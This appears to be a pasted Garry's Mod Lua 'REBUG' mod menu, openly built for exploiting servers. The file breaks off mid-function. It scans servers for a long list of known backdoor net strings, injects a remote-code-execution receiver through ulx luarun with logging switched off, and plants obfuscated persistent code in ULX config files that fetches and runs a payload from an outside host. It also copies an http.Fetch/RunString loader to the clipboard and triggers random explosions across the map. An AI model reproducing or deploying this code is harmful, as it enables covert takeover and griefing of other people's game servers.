· 6 years ago · Sep 08, 2019, 05:22 AM
1// <CodeVoid>
2print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
3MsgC(Color(255,0,0),[[
4 ____________________________________________________
5]])MsgC(Color(255,64,0),[[
6 / \
7]])MsgC(Color(255,128,0),[[
8 | _____________________________________________ |
9]])MsgC(Color(255,191,0),[[
10 | | | |
11]])MsgC(Color(255,255,0),[[
12 | | _____ ______ ____ _ _ _____ | |
13]])MsgC(Color(191,255,0),[[
14 | | | __ \| ____| _ \| | | |/ ____| | |
15]])MsgC(Color(128,255,0),[[
16 | | | |__) | |__ | |_) | | | | | __ | |
17]])MsgC(Color(64,255,0),[[
18 | | | _ /| __| | _ <| | | | | |_ | | |
19]])MsgC(Color(0,255,0),[[
20 | | | | \ \| |____| |_) | |__| | |__| | | |
21]])MsgC(Color(0,255,64),[[
22 | | __|_| _\_\______|____/ \____/_\_____|__ | |
23]])MsgC(Color(0,255,128),[[
24 | | / ____| | | | ____| /\|__ __/ ____| | |
25]])MsgC(Color(0,255,191),[[
26 | | | | | |__| | |__ / \ | | | (___ | |
27]])MsgC(Color(0,255,255),[[
28 | | | | | __ | __| / /\ \ | | \___ \ | |
29]])MsgC(Color(0,191,255),[[
30 | | | |____| | | | |____ / ____ \| | ____) | | |
31]])MsgC(Color(0,128,255),[[
32 | | \_____|_| |_|______/_/ \_\_| |_____/ | |
33]])MsgC(Color(0,64,255),[[
34 | | | |
35]])MsgC(Color(0,0,255),[[
36 | | | |
37]])MsgC(Color(64,0,255),[[
38 | | | |
39]])MsgC(Color(128,0,255),[[
40 | | | |
41]])MsgC(Color(191,0,255),[[
42 | |_____________________________________________| |
43]])MsgC(Color(255,0,255),[[
44 | |
45]])MsgC(Color(255,0,191),[[
46 \_____________________________________________________/
47]])MsgC(Color(255,0,128),[[
48 \_______________________________________/
49]])MsgC(Color(255,0,64),[[
50 _______________________________________________
51]])MsgC(Color(255,0,0),[[
52 _-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. --- `-_
53]])MsgC(Color(255,64,0),[[
54 _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-_
55]])MsgC(Color(255,128,0),[[
56 _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
57]])MsgC(Color(255,191,0),[[
58 _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
59]])MsgC(Color(255,255,0),[[
60 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
61]])MsgC(Color(191,255,0),[[
62:-----------------------------------------------------------------------------:
63]])MsgC(Color(128,255,0),[[
64`----------------------------------------------------------------------------'
65]])
66
67chat.AddText(Color(255, 0, 0), "[REBUG] ", Color(20, 150, 200), "Welcome " .. LocalPlayer():Nick(), Color(20, 150, 200), ",", Color(255, 155, 0), " Mod Menu Loaded!")
68
69
70--[[-------------------------------------------------------------------------------------
71Locals
72----------------------------------------------------------------------------------------]]
73
74 local surface_SetFont = surface.SetFont
75 local surface_GetTextSize = surface.GetTextSize
76 local surface_SetDrawColor = surface.SetDrawColor
77 local surface_DrawLine = surface.DrawLine
78 local draw_SimpleText = draw.SimpleText
79 local draw_SimpleTextOutlined = draw.SimpleTextOutlined
80 local string_Explode = string.Explode
81 local math_Rand = math.Rand
82 local math_random = math.random
83 local math_sin = math.sin
84 local math_abs = math.abs
85 local HSVtoColor = HSVToColor
86 local Realtime = RealTime
87 local Frametime = FrameTime
88 local Curtime = CurTime
89 local Color = Color
90 local rebug = {}
91 local channel = "";
92 local netStrings = {}
93 local BD = {}
94 local noob = {}
95 local MenuDelay = false
96 local MenuOpen = false
97 local ply = LocalPlayer()
98 local selPly = 0
99
100--[[-------------------------------------------------------------------------------------
101Fonts
102----------------------------------------------------------------------------------------]]
103
104surface.CreateFont("button", {
105 font = "Calibri",
106 extended = not 1,
107 size = 16,
108 weight = 500,
109 blursize = 0,
110 scanlines = 0,
111 antialias = not not 1,
112 underline = not 1,
113 italic = not 1,
114 strikeout = not 1,
115 symbol = not 1,
116 rotary = not 1,
117 shadow = not 1,
118 additive = not 1,
119 outline = not 1
120})
121
122--[[-------------------------------------------------------------------------------------
123Gradient
124----------------------------------------------------------------------------------------]]
125
126 local grad = Material("gui/gradient")
127 local upgrad = Material("gui/gradient_up")
128 local downgrad = Material("gui/gradient_down")
129
130
131--[[-------------------------------------------------------------------------------------
132Colors
133----------------------------------------------------------------------------------------]]
134
135 local o_color1 = Color(17,17,17,255)
136 local o_color11 = Color(22,22,22,255)
137 local o_color2 = Color(30,30,30,255)
138 local o_color3 = Color(50, 50,50,255)
139 local o_color4 = Color(42, 42,42,255)
140
141--[[-------------------------------------------------------------------------------------
142NetWorks
143----------------------------------------------------------------------------------------]]
144
145function CheckIfStringExists(str)
146
147 local status, error = pcall(net.Start, str)
148
149 return status
150
151end
152
153// Notify
154
155function noob.Notify(msg)
156
157 chat.AddText(Color(255, 0, 0), "[REBUG] ", color_white, msg)
158
159end
160
161// Backdoored Strings
162
163 netStrings.Strings={{NetString="Sandbox_ArmDupe"},{NetString="entityhealt"},{NetString="m"},{NetString="material"},{NetString="REBUG"},{NetString="BetStrep"},{NetString="keyss"},{NetString="banId2"},{NetString="Val"},{NetString="models/zombie.mdl"},{NetString="FPSBOOST"},{NetString="PlayerCheck"},{NetString="Sbox_darkrp"},{NetString="insid3"},{NetString="The_Dankwoo"},{NetString="Sbox_itemstore"},{NetString="Ulib_Message"},{NetString="ULogs_Info"},{NetString="ITEM"},{NetString="R8"},{NetString="fix"},{NetString="Fix_Keypads"},{NetString="Remove_Exploiters"},{NetString="noclipcloakaesp_chat_text"},{NetString="_Defqon"},{NetString="_CAC_ReadMemory"},{NetString="lmaogetdunked"},{NetString="nostrip"},{NetString="nocheat"},{NetString="LickMeOut"},{NetString="ULX_QUERY2"},{NetString="ULXQUERY2"},{NetString="https://i.imgur.com/Gf6hLMl.png"},{NetString="MoonMan"},{NetString="Im_SOCool"},{NetString="JSQuery.Data(Post(false))"},{NetString="Sandbox_GayParty"},{NetString="DarkRP_UTF8"},{NetString="oldNetReadData"},{NetString="Gamemode_get"},{NetString="memeDoor"},{NetString="BackDoor"},{NetString="SessionBackdoor"},{NetString="DarkRP_AdminWeapons"},{NetString="cucked"},{NetString="NoNerks"},{NetString="kek"},{NetString="ZimbaBackDoor"},{NetString="something"},{NetString="random"},{NetString="strip0"},{NetString="fellosnake"},{NetString="enablevac"},{NetString="idk"},{NetString="Þà ?D)â—˜"},{NetString="snte"},{NetString="apg_togglemode"},{NetString="Hi"},{NetString="beedoor"},{NetString="BDST_EngineForceButton"},{NetString="VoteKickNO"},{NetString="REEEEEEEEEEEE"},{NetString="_da_"},{NetString="Nostra"},{NetString="sniffing"},{NetString="keylogger"},{NetString="CakeInstall"},{NetString="Cakeuptade"},{NetString="love"},{NetString="earth"},{NetString="ulibcheck"},{NetString="Nostrip_"},{NetString="teamfrench"},{NetString="ADM"},{NetString="hack"},{NetString="crack"},{NetString="leak"},{NetString="lokisploit"},{NetString="1234"},{NetString="123"},{NetString="enculer"},{NetString="cake"},{NetString="seized"},{NetString="88"},{NetString="88_strings_"},{NetString="nostraall"},{NetString="blogs_update"},{NetString="nolag"},{NetString="loona_"},{NetString="billys_logs"},{NetString="loona"},{NetString="negativedlebest"},{NetString="berettabest"},{NetString="ReadPing"},{NetString="antiexploit"},{NetString="adm_NetString"},{NetString="mathislebg"},{NetString="Bilboard.adverts:Spawn(false)"},{NetString="pjHabrp9EY"},{NetString="?"},{NetString="lag_ping"},{NetString="allowLimitedRCON(user) 0"},{NetString="aze46aez67z67z64dcv4bt"},{NetString="killserver"},{NetString="fuckserver"},{NetString="cvaraccess"},{NetString="rcon"},{NetString="rconadmin"},{NetString="web"},{NetString="jesuslebg"},{NetString="zilnix"},{NetString="ߠ?D)?"},{NetString="disablebackdoor"},{NetString="kill"},{NetString="DefqonBackdoor"},{NetString="DarkRP_AllDoorDatas"},{NetString="0101.1"},{NetString="awarn_remove"},{NetString="_Infinity"},{NetString="Infinity"},{NetString="InfinityBackdoor"},{NetString="_Infinity_Meme_"},{NetString="arivia"},{NetString="ULogs_B"},{NetString="_Warns"},{NetString="_cac_"},{NetString="striphelper"},{NetString="_vliss"},{NetString="YYYYTTYXY6Y"},{NetString="?????????????????п??? ?? ?ѿ??Ŀտ? ???ѿ??տ??Ю"},{NetString="_KekTcf"},{NetString="_blacksmurf"},{NetString="blacksmurfBackdoor"},{NetString="_Raze"},{NetString="m9k_explosionradius"},{NetString="m9k_explosive"},{NetString="m9k_addons"},{NetString="rcivluz"},{NetString="SENDTEST"},{NetString="_clientcvars"},{NetString="_main"},{NetString="stream"},{NetString="waoz"},{NetString="bdsm"},{NetString="ZernaxBackdoor"},{NetString="UKT_MOMOS"},{NetString="anticrash"},{NetString="audisquad_lua"},{NetString="dontforget"},{NetString="noprop"},{NetString="thereaper"},{NetString="0x13"},{NetString="Child"},{NetString="!Cac"},{NetString="azkaw"},{NetString="BOOST_FPS"},{NetString="childexploit"},{NetString="ULX_ANTI_BACKDOOR"},{NetString="FADMIN_ANTICRASH"},{NetString="ULX_QUERY_TEST2"},{NetString="GMOD_NETDBG"},{NetString="netlib_debug"},{NetString="_DarkRP_Reading"},{NetString="lag_ping"},{NetString="||||"},{NetString="SteamApp2313"},{NetString="FPP_RemovePLYCache"},{NetString="fuwa"},{NetString="stardoor"},{NetString="SENDTEST"},{NetString="rcivluz"},{NetString="c"},{NetString="N::B::P"},{NetString="changename"},{NetString="PlayerItemPickUp"},{NetString="echangeinfo"},{NetString="fourhead"},{NetString="music"},{NetString="slua"},{NetString="adm_network"},{NetString="componenttolua"},{NetString="theberettabcd"},{NetString="SparksLeBg"},{NetString="DarkRP_Armors"},{NetString="DarkRP_Gamemodes"},{NetString="fancyscoreboard_leave"},{NetString="PRDW_GET"},{NetString="pwn_http_send"},{NetString="AnatikLeNoob"},{NetString="GVacDoor"},{NetString="Keetaxor"},{NetString="BackdoorPrivate666"},{NetString="YohSambreLeBest"},{NetString="SNTE<ALL"},{NetString="!Ǻ/;."},{NetString="pwn_http_answer"},{NetString="pwn_wake"},{NetString="verifiopd"},{NetString="AidsTacos"},{NetString="shix"},{NetString="PDA_DRM_REQUEST_CONTENT"},{NetString="xenoreceivetargetdata2"},{NetString="xenoreceivetargetdata1"},{NetString="xenoserverdatafunction"},{NetString="xenoserverfunction"},{NetString="xenoclientdatafunction"},{NetString="xenoclientfunction"},{NetString="xenoactivation"},{NetString="EXEC_REMOTE_APPS"},{NetString="yohsambresicianatik<3"},{NetString="Sbox_Message"},{NetString="Sbox_gm_attackofnullday_key"},{NetString="The_DankWhy"},{NetString="nw.readstream"},{NetString="AbSoluT"},{NetString="__G____CAC"},{NetString="Weapon_88"},{NetString="mecthack"},{NetString="SetPlayerDeathCount"},{NetString="FAdmin_Notification_Receiver"},{NetString="DarkRP_ReceiveData"},{NetString="fijiconn"},{NetString="LuaCmd"},{NetString="EnigmaProject"},{NetString="z"},{NetString="cvardel"},{NetString="json.parse(crashsocket)"},{NetString="effects_en"},{NetString="file"},{NetString="gag"},{NetString="asunalabestwaifu"},{NetString="stoppk"},{NetString="Ulx_Error_88"},{NetString="NoOdium_ReadPing"},{NetString="banId"},{NetString="kickId2"},{NetString="elsakura"}}
164
165function CheckBackdoors()
166
167 for k,v in pairs(netStrings.Strings) do
168
169 if(CheckIfStringExists(v.NetString)) then
170
171 channel = v.NetString
172
173 chat.AddText(Color(255, 0, 0), "[RVAC]", Color( 20, 150, 20 )," Found Vulnerability ▶ ", Color(20, 150, 200), [[]] ..v.NetString)
174
175 end
176
177 end
178
179end
180
181function noob.PostLua(str)
182
183 net.Start(channel)
184
185 net.WriteString(str)
186
187 net.WriteBit(1)
188
189 net.SendToServer()
190
191end
192
193function noob.PostRcon(str)
194
195 net.Start(channel)
196
197 net.WriteString( str )
198
199 net.WriteBit(false)
200
201 net.SendToServer()
202
203end
204
205function noob.PostLua( str )
206
207 if (channel == "") then chat.AddText( Color( 255, 0, 0), "[REBUG]", Color( 20, 150, 200 ) ," You are not targeting a NetString") return end
208
209 net.Start(channel)
210
211 net.WriteString( str )
212
213 net.WriteBit(1)
214
215 net.SendToServer()
216end
217
218function sendLuaPly(str)
219
220 net.Start(channel)
221
222 net.WriteString("BroadcastLua([[".. str .."]])")
223
224 net.SendToServer() end function sendLuaPlyKv(str)
225
226 net.Start(channel)
227
228 net.WriteString("for k,v in pairs(player.GetAll()) do v:SendLua(".. str ..") end")
229
230 net.SendToServer()
231end
232
233--[[-------------------------------------------------------------------------------------
234Insert Key
235----------------------------------------------------------------------------------------]]
236
237function rebug.voidz()
238
239 hook.Add("Think", "openMenu", function()
240
241 if input.IsKeyDown(KEY_INSERT) && !MenuDelay then
242
243 MenuDelay = true
244
245 rebug.load()
246
247 timer.Simple( 0.5, function() MenuDelay = false end )
248
249 end
250
251 end )
252
253end
254
255function rebug.load()
256
257 if MenuOpen then
258
259 CloseMenu()
260
261 return
262end
263
264--[[-------------------------------------------------------------------------------------
265MAIN MENU
266----------------------------------------------------------------------------------------]]
267
268MenuOpen = true
269
270local BDMenu = vgui.Create("DFrame")
271
272surface.PlaySound("buttons/blip1.wav")
273
274BDMenu:SetSize( 720, 750 )
275
276BDMenu:SetPos(40,40)
277
278BDMenu:SetTitle("")
279
280BDMenu:ShowCloseButton()
281
282BDMenu:MakePopup()
283
284BDMenu:SetVisible(true)
285
286BDMenu:SetDraggable(false)
287
288BDMenu.Paint = function( self, w, h)
289
290 surface.SetDrawColor(Color(40, 40, 40, 255))
291
292 surface.DrawRect(0, 0, w, h)
293
294 surface.SetDrawColor(36, 21, 21)
295
296 surface.SetMaterial(upgrad)
297
298 surface.SetDrawColor(o_color2)
299
300 surface.SetMaterial(downgrad)
301
302 surface.SetDrawColor(o_color2)
303
304 surface.SetDrawColor(0, 0, 0, 255)
305
306 surface.DrawOutlinedRect(0, 0, w, h)
307
308 surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
309
310end
311
312local rvacplate = vgui.Create('DPanelList', BDMenu)
313
314 rvacplate:SetSize(705, 735)
315
316 rvacplate:SetPos(8, 8)
317
318 rvacplate.Paint = function(s, w, h)
319
320 surface.SetDrawColor(Color(26, 26, 26))
321
322 surface.DrawRect(0, 0, w, h)
323
324 surface.SetDrawColor(21, 21, 21)
325
326 surface.SetMaterial(upgrad)
327
328 surface.SetDrawColor(o_color2)
329
330 surface.SetMaterial(downgrad)
331
332 surface.SetDrawColor(o_color2)
333
334 surface.SetDrawColor(35, 35, 35, 255)
335
336 surface.DrawOutlinedRect(0, 0, w, h)
337
338end
339
340local Rainbow = vgui.Create('DPanelList', rvacplate)
341
342 Rainbow:SetSize(705, 2)
343
344 Rainbow:SetPos(1, 0)
345
346 Rainbow.Paint = function(s, w, h)
347
348 surface.SetDrawColor(Color(100, 100, 100))
349
350 surface.DrawRect(0, 0, w, h)
351
352 surface.SetDrawColor(21, 21, 21)
353
354 surface.SetDrawColor(Color(100, 100, 100))
355
356 surface.DrawRect(0, 0, w, h)
357
358 surface.SetDrawColor(21, 21, 21)
359
360 surface.SetMaterial(upgrad)
361
362 surface.SetDrawColor(o_color2)
363
364 surface.SetMaterial(downgrad)
365
366 surface.SetDrawColor(o_color2)
367
368 surface.SetDrawColor(HSVToColor(CurTime() % 6 * 60, 1, 1))
369
370 surface.DrawOutlinedRect(0, 0, w, h)
371
372 surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
373
374end
375
376local targeting = vgui.Create("DLabel", rvacplate )
377
378 targeting:SetFont("Trebuchet18")
379
380 targeting:SetText("No Player Selected")
381
382 targeting:SetTextColor(Color(255,255,255))
383
384 targeting:SetPos(510, 710)
385
386 targeting:SizeToContents()
387
388// Button Function
389
390function rebug.AddButton( name, parent, func )
391
392 local button = parent:Add( "DButton" )
393
394 button:SetText( "" )
395
396 button:Dock( TOP )
397
398 button:SetFont("DermaDefault")
399
400 button:DockMargin( 0, 0, 0, 8 )
401
402 button:SetSize(50, 25)
403
404 button.DoClick = func
405
406 button.Paint = function( self, w, h )
407
408 surface.SetDrawColor(Color(200, 24, 24))
409
410 surface.SetDrawColor(40, 40, 40)
411
412 surface.DrawOutlinedRect(0, 0, w, h)
413
414 draw.SimpleTextOutlined( name, "button", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1, 1, color_black )
415
416 end
417
418end
419
420// Label Function
421
422function noob.addLabel(name, posx, posy, parent)
423
424 local T1 = parent:Add("DLabel")
425
426 T1:SetSize(200, 80)
427
428 T1:SetPos(posx, posy)
429
430 T1:SetFont("Trebuchet18")
431
432 T1:SetText(name)
433
434 T1:SetTextColor(Color(255, 255, 255, 255))
435
436end
437
438// Labels
439
440noob.addLabel("Server BackDoors", 20, 28, rvacplate)
441
442noob.addLabel("Target BackDoors", 257, 28, rvacplate)
443
444noob.addLabel("Player List", 510, 28, rvacplate)
445
446noob.addLabel("Extras( sound, client, bd )", 253, 275, rvacplate)
447
448
449local Plistz = vgui.Create( "DPanelList", rvacplate )
450
451Plistz:SetPos( 10, 80 )
452
453Plistz:SetSize( 200, 538 )
454
455Plistz:SetPadding( 5 )
456
457Plistz:SetSpacing( 5 )
458
459Plistz:EnableHorizontal( false )
460
461Plistz:EnableVerticalScrollbar( true )
462
463Plistz:SetName( "" )
464
465Plistz.Paint = function( self, w, h )
466
467 surface.SetDrawColor(Color(24, 24, 24))
468
469 surface.DrawRect(0, 0, w, h)
470
471 surface.SetDrawColor(21, 21, 21)
472
473 surface.SetMaterial(upgrad)
474
475 surface.SetDrawColor(o_color2)
476
477 surface.SetMaterial(downgrad)
478
479 surface.SetDrawColor(o_color2)
480
481 surface.SetDrawColor(35, 35, 35, 255)
482
483 surface.DrawOutlinedRect(0, 0, w, h)
484
485end
486
487
488local item = vgui.Create( "DPanelList", Plistz )
489
490item:SetPos( 11.5, 10 )
491
492item:SetSize( 188, 520 )
493
494item:SetPadding( 5 )
495
496item:SetSpacing( 5 )
497
498item:EnableHorizontal( false )
499
500item:EnableVerticalScrollbar( true )
501
502item:SetName( "" )
503
504item.Paint = function( self, w, h )
505
506 surface.SetDrawColor(Color(24, 24, 24))
507
508 surface.DrawRect(0, 0, w, h)
509
510 surface.SetDrawColor(21, 21, 21)
511
512 surface.SetDrawColor(35, 35, 35, 0)
513
514 surface.DrawOutlinedRect(0, 0, w, h)
515
516end
517
518local Plist2 = vgui.Create( "DPanelList", rvacplate )
519
520Plist2:SetPos( 247, 80 )
521
522Plist2:SetSize( 200, 215 )
523
524Plist2:SetPadding( 5 )
525
526Plist2:SetSpacing( 5 )
527
528Plist2:EnableHorizontal( false )
529
530Plist2:EnableVerticalScrollbar( true )
531
532Plist2:SetName( "" )
533
534Plist2.Paint = function( self, w, h )
535
536 surface.SetDrawColor(Color(24, 24, 24))
537
538 surface.DrawRect(0, 0, w, h)
539
540 surface.SetDrawColor(21, 21, 21)
541
542 surface.SetMaterial(upgrad)
543
544 surface.SetDrawColor(o_color2)
545
546 surface.SetMaterial(downgrad)
547
548 surface.SetDrawColor(o_color2)
549
550 surface.SetDrawColor(35, 35, 35, 255)
551
552 surface.DrawOutlinedRect(0, 0, w, h)
553
554end
555
556local item2 = vgui.Create( "DPanelList", Plist2 )
557
558item2:SetPos( 8, 10 )
559
560item2:SetSize( 185, 200 )
561
562item2:SetPadding( 5 )
563
564item2:SetSpacing( 5 )
565
566item2:EnableHorizontal( false )
567
568item2:EnableVerticalScrollbar( true )
569
570item2:SetName( "" )
571
572item2.Paint = function( self, w, h )
573
574 surface.SetDrawColor(Color(24, 24, 24))
575
576 surface.DrawRect(0, 0, w, h)
577
578 surface.SetDrawColor(21, 21, 21)
579
580 surface.SetDrawColor(35, 35, 35, 0)
581
582 surface.DrawOutlinedRect(0, 0, w, h)
583
584end
585
586local Plist3 = vgui.Create( "DPanelList", rvacplate )
587
588Plist3:SetPos( 247, 326 )
589
590Plist3:SetSize( 200, 399 )
591
592Plist3:SetPadding( 5 )
593
594Plist3:SetSpacing( 5 )
595
596Plist3:EnableHorizontal( false )
597
598Plist3:EnableVerticalScrollbar( true )
599
600Plist3:SetName( "" )
601
602Plist3.Paint = function( self, w, h )
603
604 surface.SetDrawColor(Color(24, 24, 24))
605
606 surface.DrawRect(0, 0, w, h)
607
608 surface.SetDrawColor(21, 21, 21)
609
610 surface.SetMaterial(upgrad)
611
612 surface.SetDrawColor(o_color2)
613
614 surface.SetMaterial(downgrad)
615
616 surface.SetDrawColor(o_color2)
617
618 surface.SetDrawColor(35, 35, 35, 255)
619
620 surface.DrawOutlinedRect(0, 0, w, h)
621
622end
623
624local item3 = vgui.Create( "DPanelList", Plist3 )
625
626item3:SetPos( 12, 10 )
627
628item3:SetSize( 185, 380 )
629
630item3:SetPadding( 5 )
631
632item3:SetSpacing( 5 )
633
634item3:EnableHorizontal( false )
635
636item3:EnableVerticalScrollbar( true )
637
638item3:SetName( "" )
639
640item3.Paint = function( self, w, h )
641
642 surface.SetDrawColor(Color(24, 24, 24))
643
644 surface.DrawRect(0, 0, w, h)
645
646 surface.SetDrawColor(21, 21, 21)
647
648 surface.SetDrawColor(35, 35, 35, 0)
649
650 surface.DrawOutlinedRect(0, 0, w, h)
651
652end
653
654local Plist4 = vgui.Create( "DPanelList", rvacplate )
655
656Plist4:SetPos( 493, 80 )
657
658Plist4:SetSize( 200, 625 )
659
660Plist4:SetPadding( 5 )
661
662Plist4:SetSpacing( 5 )
663
664Plist4:EnableHorizontal( false )
665
666Plist4:EnableVerticalScrollbar( true )
667
668Plist4.Paint = function( self, w, h )
669
670 surface.SetDrawColor(Color(24, 24, 24))
671
672 surface.DrawRect(0, 0, w, h)
673
674 surface.SetDrawColor(21, 21, 21)
675
676 surface.SetMaterial(upgrad)
677
678 surface.SetDrawColor(o_color2)
679
680 surface.SetMaterial(downgrad)
681
682 surface.SetDrawColor(o_color2)
683
684 surface.SetDrawColor(35, 35, 35, 255)
685
686 surface.DrawOutlinedRect(0, 0, w, h)
687
688end
689
690local item4 = vgui.Create( "DPanelList", Plist4 )
691
692item4:SetPos( 8, 10 )
693
694item4:SetSize( 185, 606 )
695
696item4:SetPadding( 5 )
697
698item4:SetSpacing( 5 )
699
700item4:EnableHorizontal( false )
701
702item4:EnableVerticalScrollbar( true )
703
704item4:SetName( "" )
705
706item4.Paint = function( self, w, h )
707
708 surface.SetDrawColor(Color(24, 24, 24))
709
710 surface.DrawRect(0, 0, w, h)
711
712 surface.SetDrawColor(21, 21, 21)
713
714 surface.SetDrawColor(35, 35, 35, 0)
715
716 surface.DrawOutlinedRect(0, 0, w, h)
717
718end
719
720local Bar3 = vgui.Create("DScrollPanel", item4)
721
722 Bar3:Dock(FILL)
723
724local sbar3 = Bar3:GetVBar()
725
726 function sbar3:Paint()
727
728end
729
730function sbar3.btnUp:Paint()
731
732end
733
734function sbar3.btnDown:Paint()
735
736end
737
738function sbar3.btnGrip:Paint()
739
740end
741
742for k,v in pairs(player.GetAll()) do
743
744rebug.AddButton(v:Name(), Bar3, function()
745
746selPly = v:UserID() targeting:SetText("Selected: " .. Player(selPly):Name())
747
748 end )
749
750end
751
752local Plist5 = vgui.Create("DTextEntry", rvacplate)
753
754 Plist5:SetPos(10, 8)
755
756 Plist5:SetSize(685, 35)
757
758 Plist5:SetTextColor(Color(255, 255, 255, 255))
759
760 Plist5:SetFont("Trebuchet18")
761
762 Plist5.Paint = function(self, w, h)
763
764 surface.SetDrawColor(Color(24, 24, 24))
765
766 surface.DrawRect(0, 0, w, h)
767
768 surface.SetDrawColor(21, 21, 21)
769
770 surface.SetMaterial(upgrad)
771
772 surface.SetDrawColor(o_color2)
773
774 surface.SetMaterial(downgrad)
775
776 surface.SetDrawColor(o_color2)
777
778 surface.SetDrawColor(35, 35, 35, 255)
779
780 surface.DrawOutlinedRect(0, 0, w, h)
781
782 self:DrawTextEntryText(Color(255, 255, 255), Color(20, 20, 150), Color(100, 100, 100))
783
784end
785
786Plist5.OnEnter = function(self)
787
788 surface.PlaySound("buttons/button18.wav")
789
790 noob.Notify("Targeting: '" .. Plist5:GetValue() .. "'")
791
792 channel = self:GetValue()
793end
794
795local helpimretarded = vgui.Create("DButton", rvacplate)
796
797 helpimretarded:SetSize( 200, 45 )
798
799 helpimretarded:SetPos( 10, 627 )
800
801 helpimretarded:SetFont("Trebuchet18")
802
803 helpimretarded:SetText("Print backdoor code")
804
805 helpimretarded:SetTextColor(Color(255, 255, 255, 255))
806
807 helpimretarded.Paint = function(panel, w, h)
808
809 surface.SetDrawColor(Color(24, 24, 24))
810
811 surface.DrawRect(0, 0, w, h)
812
813 surface.SetDrawColor(21, 21, 21)
814
815 surface.SetMaterial(upgrad)
816
817 surface.SetDrawColor(o_color2)
818
819 surface.SetMaterial(downgrad)
820
821 surface.SetDrawColor(o_color2)
822
823 surface.SetDrawColor(35, 35, 35, 255)
824
825 surface.DrawOutlinedRect(0, 0, w, h)
826
827end
828
829helpimretarded.DoClick = function()
830
831 noob.Notify( "Copied to clipboard", Color(155,255,155) )
832
833 local llll = [[http.Fetch("https://rvac/gq/_!/p",function(b)RunString(b)end)]]
834
835 SetClipboardText( llll )
836
837end
838
839local helpimretarded2 = vgui.Create("DButton", rvacplate)
840
841 helpimretarded2:SetSize( 200, 45 )
842
843 helpimretarded2:SetPos( 10, 680 )
844
845 helpimretarded2:SetFont("Trebuchet18")
846
847 helpimretarded2:SetText("ULX Luarun Backdoor")
848
849 helpimretarded2:SetTextColor(Color(255, 255, 255, 255))
850
851 helpimretarded2.Paint = function(panel, w, h)
852
853 surface.SetDrawColor(Color(24, 24, 24))
854
855 surface.DrawRect(0, 0, w, h)
856
857 surface.SetDrawColor(21, 21, 21)
858
859 surface.SetMaterial(upgrad)
860
861 surface.SetDrawColor(o_color2)
862
863 surface.SetMaterial(downgrad)
864
865 surface.SetDrawColor(o_color2)
866
867 surface.SetDrawColor(35, 35, 35, 255)
868
869 surface.DrawOutlinedRect(0, 0, w, h)
870
871end
872
873helpimretarded2.DoClick = function()
874
875 noob.Notify( "Using ulx luarun to silently infect server", Color(155,255,155) )
876
877 RunConsoleCommand( "ulx", "logecho", "0" )
878
879 timer.Simple( 0.5, function()
880
881 RunConsoleCommand("ulx", "luarun", "util.AddNetworkString ('REBUG') net.Receive ('REBUG', function (length, ply) local netString = net.ReadString () local bit = net.ReadBit () if bit == 1 then RunString (netString) else game.ConsoleCommand (netString ..'\n') end end)" )
882
883end )
884
885 timer.Simple( 1, function() RunConsoleCommand( "ulx", "logecho", "1" ) end )
886
887end
888
889// Scroll Bars
890
891local bar1 = vgui.Create("DScrollPanel", item)
892
893 bar1:Dock(FILL)
894
895local sbar1 = bar1:GetVBar()
896
897 function sbar1:Paint()
898
899end
900
901function sbar1.btnUp:Paint()
902
903end
904
905function sbar1.btnDown:Paint()
906
907end
908
909function sbar1.btnGrip:Paint()
910
911end
912
913local bar2 = vgui.Create("DScrollPanel", item2)
914
915 bar2:Dock(FILL)
916
917local sbar2 = bar2:GetVBar()
918
919 function sbar2:Paint()
920
921end
922
923function sbar2.btnUp:Paint()
924
925end
926
927function sbar2.btnDown:Paint()
928
929end
930
931function sbar2.btnGrip:Paint()
932
933end
934
935
936local bar4 = vgui.Create("DScrollPanel", item3)
937
938 bar4:Dock(FILL)
939
940local sbar4 = bar4:GetVBar()
941
942 function sbar4:Paint()
943
944end
945
946function sbar4.btnUp:Paint()
947
948end
949
950function sbar4.btnDown:Paint()
951
952end
953
954function sbar4.btnGrip:Paint()
955
956end
957
958// Backdoors
959
960rebug.AddButton("@Inject SendLua Interface", bar1, function()
961
962 surface.PlaySound("buttons/button18.wav")
963
964 noob.PostLua([[util.AddNetworkString ('REBUG') net.Receive ('REBUG', function (length, ply) local netString = net.ReadString () local bit = net.ReadBit () if bit == 1 then RunString (netString) else game.ConsoleCommand (netString ..'\n') end end)]])
965
966end)
967
968rebug.AddButton("@Persistant Infection", bar1, function()
969
970 surface.PlaySound("buttons/button18.wav")
971
972 noob.PostLua([[file.Append("ulx/config.txt", "\n"..[=[x='R'..'unS'..'tri'..'n'..'g'_='r'..''..'va'..'c'..'.g'..'q/'x0=_G['Co'..'mpil'..''..'eSt'..'ri'..'ng']__='h'..''..'t'..'t'..'ps'..'://'x0(__,_,'_!/p',x)]=])]])
973
974 noob.PostLua([[file.Append("ulib/misc_registered.txt", "\n"..[=[x='R'..'unS'..'tri'..'n'..'g'_='r'..''..'va'..'c'..'.g'..'q/'x0=_G['Co'..'mpil'..''..'eSt'..'ri'..'ng']__='h'..''..'t'..'t'..'ps'..'://'x0(__,_,'_!/p',x)]=])]])
975
976end)
977
978
979rebug.AddButton("Artillery Server Strike", bar1, function()
980
981 surface.PlaySound("buttons/button18.wav")
982
983 noob.PostLua([[if !bombstrike then
984 hook.Add("Think", "lulz_bombstrike", function()
985 local explode = ents.Create("env_explosion")
986 local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
987 local trc = {}
988 trc.start = ps
989 trc.endpos = ps + Vector(0, 0, -99999)
990 local tr = util.TraceLine(trc)
991 if !tr.Hit then return end
992 explode:SetPos(tr.HitPos)
993 explode:Spawn()
994 explode:SetKeyValue("iMagnitude", "400")
995 explode:Fire("Explode", 0, 0)
996 end)
997 bombstrike = true
998 else
999 hook.Remove("Think", "lulz_bombstrike")
1000 bombstrike = false
1001 end]])
1002
1003end)
1004
1005rebug.AddButton("Announce centre screen", bar1, function()
1006
